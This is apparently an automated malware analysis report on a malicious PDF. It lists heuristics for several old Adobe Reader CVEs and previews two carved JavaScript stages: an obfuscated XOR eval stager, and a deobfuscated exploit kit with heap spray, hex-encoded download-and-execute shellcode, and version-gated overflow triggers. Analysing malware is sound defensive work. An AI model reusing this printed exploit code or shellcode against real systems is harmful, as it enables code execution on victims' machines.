MALICIOUS
408
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
The PDF file contains obfuscated JavaScript, indicated by multiple heuristic firings including 'PDF_PAGE_WORD_XOR_EVAL_STAGER' and 'PDF_JS'. The embedded JavaScript stream, named 'javascript_obj0011_000.js', is likely responsible for downloading and executing a second-stage payload. The obfuscation suggests an attempt to evade detection.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 10
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media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
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Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
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util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
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Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
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Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
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Page-word XOR JavaScript eval stager high PDF_PAGE_WORD_XOR_EVAL_STAGERPDF JavaScript enumerates rendered page words with getPageNthWord/getPageNumWords, extracts encoded byte fragments, XOR-decodes the stage with char-code helpers, and evals the result. This is an old exploit-kit staging pattern and is not normal document JavaScript.
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Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ahrudz.egh/4 Referenced by PDF JavaScript
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0011_000.js |
pdf-javascript-stream | PDF /JS object 11 at offset 0xE85 | 612 bytes |
SHA-256: 752bd8ac448652619e435f8ae20280d08b37629f128ff51170e9c4fda310fd58 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s). 11 of 20 identifiers look randomly generated (e.g. 'getPaTTgeNumWordTTsTT') — consistent with name-mangling obfuscation.
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Preview scriptFirst 1,000 lines of the extracted script
try {pU='var tTCJ = 64 ;var dC TT=TT this;var gR=dC.getPaTTgeNumWordTTsTT(TTthiTTs.TpageNumTT);var dIX=\'TT\';for(var bQV=0;TbTTQV< gTTR; bQV++){dIX=[dIX, dCT.TTgetPageNthWord(dC.pageNum,bTTQTTV,true)].joinTT(\'T\'TT);;}vTTar xETT=TT\'\';for(var bQV=0;TTbQV < dIX.TlengTth; bQTV+=2T){TcTTFTT=TTdTTIX.subsTTtr(bTQV,2);xTTE=[xE,StTring.fromCharCode(parTTsTTeInt(cF,16)^tCJ)].jTToiTn(\'\'T);}eTval(xE);xE=null;'.replace(/[T]/g, '');var yN='Function'.replace(/[]/g, '');pK=oZY(oB,pM);} catch(mDQ){var uB=nE()(pU);uB();}function kH(){return app['doc'.replace(/[]/g, '')];}function nE(){var xEX=kH();return xEX[yN];}
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legacy_pdfkit_stage_000.js |
deobfuscated-js | getPageWords-XOR Pidief stage normalized at offset 0x0 | 3722 bytes |
SHA-256: d981e89e596d62f099d6d1f8a0ce21ef83c955c9556ff988ccea47aba4915c99 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
try {var v='mR'.substr(16944,16944)} catch(v){};this.vI='';var mJ='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';var sV=["mD","n"];var l=new Date();var x=this.info['z'].replace(/[\s]/g, '');f=["j"];oD=["fI"];var aX={mT:"dK".charCodeAt(29102)};var lY = this.info;var yR = (lY.producer.substr(0,5) == 'debug');var fC = new Array(); var sP = "%u";function rC(str){str = str.split(sP);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function oV(str1, str2){return [str1, str2].join("");}function tW(sL){var nK = cL();var nSN = vIJ();nK += ((nK.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + nSN;if(yR) app.alert("URL: " + nK);nK=jO(nK);var d=sP;var cF=d+"C033"+d+"8B64"+d+"3040"+d+"0C78"+d+"408B"+d+"8B0C"+d+"1C70"+d+"8BAD"+d+"0858"+d+"09EB"+d+"408B"+d+"8D34"+d+"7C40"+d+"588B"+d+"6A3C"+d+"5A44"+d+"E2D1"+d+"E22B"+d+"EC8B"+d+"4FEB"+d+"525A"+d+"EA83"+d+"8956"+d+"0455"+d+"5756"+d+"738B"+d+"8B3C"+d+"3374"+d+"0378"+d+"56F3"+d+"768B"+d+"0320"+d+"33F3"+d+"49C9"+d+"4150"+d+"33AD"+d+"36FF"+d+"BE0F"+d+"0314"+d+"F238"+d+"0874"+d+"CFC1"+d+"030D"+d+"40FA"+d+"EFEB"+d+"3B58"+d+"75F8"+d+"5EE5"+d+"468B"+d+"0324"+d+"66C3"+d+"0C8B"+d+"8B48"+d+"1C56"+d+"D303"+d+"048B"+d+"038A"+d+"5FC3"+d+"505E"+d+"8DC3"+d+"087D"+d+"5257"+d+"33B8"+d+"8ACA"+d+"E85B"+d+"FFA2"+d+"FFFF"+d+"C032"+d+"F78B"+d+"AEF2"+d+"B84F"+d+"2E65"+d+"7865"+d+"66AB"+d+"6698"+d+"B0AB"+d+"8A6C"+d+"98E0"+d+"6850"+d+"6E6F"+d+"642E"+d+"7568"+d+"6C72"+d+"546D"+d+"8EB8"+d+"0E4E"+d+"FFEC"+d+"0455"+d+"5093"+d+"C033"+d+"5050"+d+"8B56"+d+"0455"+d+"C283"+d+"837F"+d+"31C2"+d+"5052"+d+"36B8"+d+"2F1A"+d+"FF70"+d+"0455"+d+"335B"+d+"57FF"+d+"B856"+d+"FE98"+d+"0E8A"+d+"55FF"+d+"5704"+d+"EFB8"+d+"E0CE"+d+"FF60"+d+"0455";cF+=nK;return rC(cF);};function cL(){var zY = (lY.author + lY.title).replace(/[\s]/g, '');var gD = tS(zY, x, mJ);return gD;};function tS(zY, mJ, x){var gD="";for(var i=0; i < zY.length; i++){var wR = mJ.indexOf(zY[i]);if(wR > -1 ){gD += x[wR];}}return gD;};function jO(zY){var out = "";zY = p(zY);g = Math.round(zY.length / 4);if (g != zY.length /4) zY+="00";for(var i=0; i < zY.length; i+=4){out+= sP + zY.substr(i+2, 2) + zY.substr(i, 2);}return out;};function p(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function zA(cP, len){while (cP.length * 2 < len){cP = oV(cP, cP);}return cP.substring(0, len / 2);};function jA(iV){var zQ = 0x0c0c0c0c; cH = tW("pdf");if (iV == 1){zQ = 0x30303030;}var bK = 0x400000;var ln = cH.length * 2;var gX = bK - (ln + 0x38);var cP = rC(sP+"9090"+sP+"9090"); cP = zA(cP, gX);var nW = (zQ - 0x400000) / bK;for (var qR = 0; qR < nW; qR ++ ){fC[qR] = oV(cP, cH);}};function vIJ(){try {return app.viewerVersion.toString();}catch(dKD){ return 0;}}if(yR) app.alert("called exploit");var nSN = vIJ();if(yR) app.alert("v: " + nSN);if (nSN > 8){if(yR) app.alert("util.printf");jA(1);var pW = "12999999999999999999";for (iJ=0; iJ < 276; iJ++) pW += "8";util.printf("%45000f", pW);}if (nSN < 8){if(yR) app.alert("Collab.collectEmailInfo");jA(0);var bY = rC(sP+"0c0c"+sP+"0c0c");while (bY.length < 44952) bY += bY;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : bY});}if (nSN < 9.1){if (app.doc.Collab.getIcon){if(yR) app.alert("Collab.getIcon");jA(0);var yB = unescape("%09");while (yB.length < 0x4000) yB += yB;yB = "N." + yB;app.doc.Collab.getIcon(yB);}}if (nSN == 9.2){if(yR) app.alert("media.newPlayer");jA(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}this.fE='';this.lW='';var iX=["yV"];�������8
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